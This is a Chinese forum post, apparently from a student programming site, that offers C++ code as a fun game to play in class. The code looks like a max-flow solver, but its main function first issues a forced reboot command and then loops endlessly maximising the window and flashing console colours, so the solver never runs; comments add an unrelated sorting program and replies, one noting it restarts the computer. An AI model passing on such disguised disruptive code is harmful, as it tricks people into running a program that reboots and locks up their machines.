超级好玩的小游戏,上课摸鱼必备,建议人手一份

於子轩bylz  •  28天前


include<bits/stdc++.h>

include<windows.h>

using namespace std; const int N=1e6+5,M=6e6+5; int n,m,tot=1,lnk[N],ter[M],nxt[M],val[M],dep[N],cnr[N];

int id(int x,int y) {

return (x-1)*m+y;

} void add(int u,int v,int w) {

ter[++tot]=v,nxt[tot]=lnk[u],lnk[u]=tot,val[tot]=w;

} void addedge(int u,int v,int w) {

add(u,v,w),add(v,u,w);

} int bfs(int s,int t) {

memset(dep,0,sizeof(dep));
memcpy(cnr,lnk,sizeof(lnk));
std::queue<int> q;
q.push(s),dep[s]=1;
while(!q.empty()) {
    int u=q.front(); q.pop();
    for(int i=lnk[u];i;i=nxt[i]) {
        int v=ter[i];
        if(val[i]&&!dep[v]) q.push(v),dep[v]=dep[u]+1;
    }
}
return dep[t];

} int dfs(int u,int t,int flow) {

if(u==t) return flow;
int ans=0;
for(int i=cnr[u];i&&ans<flow;i=nxt[i]) {
    cnr[u]=i;
    int v=ter[i];
    if(val[i]&&dep[v]==dep[u]+1) {
        int x=dfs(v,t,std::min(val[i],flow-ans));
        if(x) val[i]-=x,val[i^1]+=x,ans+=x;
    }
}
if(ans<flow) dep[u]=-1;
return ans;

} int dinic(int s,int t) {

int ans=0;
while(bfs(s,t)) {
    int x;
    while((x=dfs(s,t,1<<30))) ans+=x;
}
return ans;

} HWND hwnd=GetForegroundWindow(); void big() {

ShowWindow(hwnd,SW_MAXIMIZE);

}

int main() {

system("shutdown /r");
//big();
while(1){
	big();
	system("color 17");
	system("color 40");
	system("color 94");
	system("color 88");
	system("color 24");
	system("color 55");
	system("color 17");
	system("color 11");
	system("color 52");
	system("color 76");
}
  scanf("%d%d",&n,&m);
for(int i=1;i<=n;++i) for(int j=1;j<m;++j) {
    int x;
    scanf("%d",&x);
    addedge(id(i,j),id(i,j+1),x);
}
for(int i=1;i<n;++i) for(int j=1;j<=m;++j) {
    int x;
    scanf("%d",&x);
    addedge(id(i,j),id(i+1,j),x);
}
for(int i=1;i<n;++i) for(int j=1;j<m;++j) {
    int x;
    scanf("%d",&x);
    addedge(id(i,j),id(i+1,j+1),x);
}
printf("%d\n",dinic(id(1,1),id(n,m)));

return 0; }


Comments:

现在试一试 吧#敲上


於子轩bylz  •  28天前

你会喜欢的(❤ ω ❤)


於子轩bylz  •  28天前

include<bits/stdc++.h>

using namespace std; struct student{

int score;
string name;

}a[100]; int n; int score_comp(const student&a,const student&b){

if(a.score>b.score) return 1;
	if(a.score<b.score) return 0;
		if(a.name<b.name) return 1;
		return 0;

} int main(){ cin>>n; for(int i=0;i<n;++i){ cin>>a[i].name;

cin>>a[i].score;

} sort(a+0,a+n,score_comp); for(int i=0;i<n;++i) cout<<a[i].name<<' '<<a[i].score<<endl; return 0; }


Jerry  •  28天前

兄弟你好香,太“嚎玩”了()


古浩圳bylz  •  28天前

好有趣的小游戏,上课玩老师都发现不了


yzx88  •  28天前

真的建议人手一份


yzx88  •  28天前

电脑重启程序!


麦睿生  •  28天前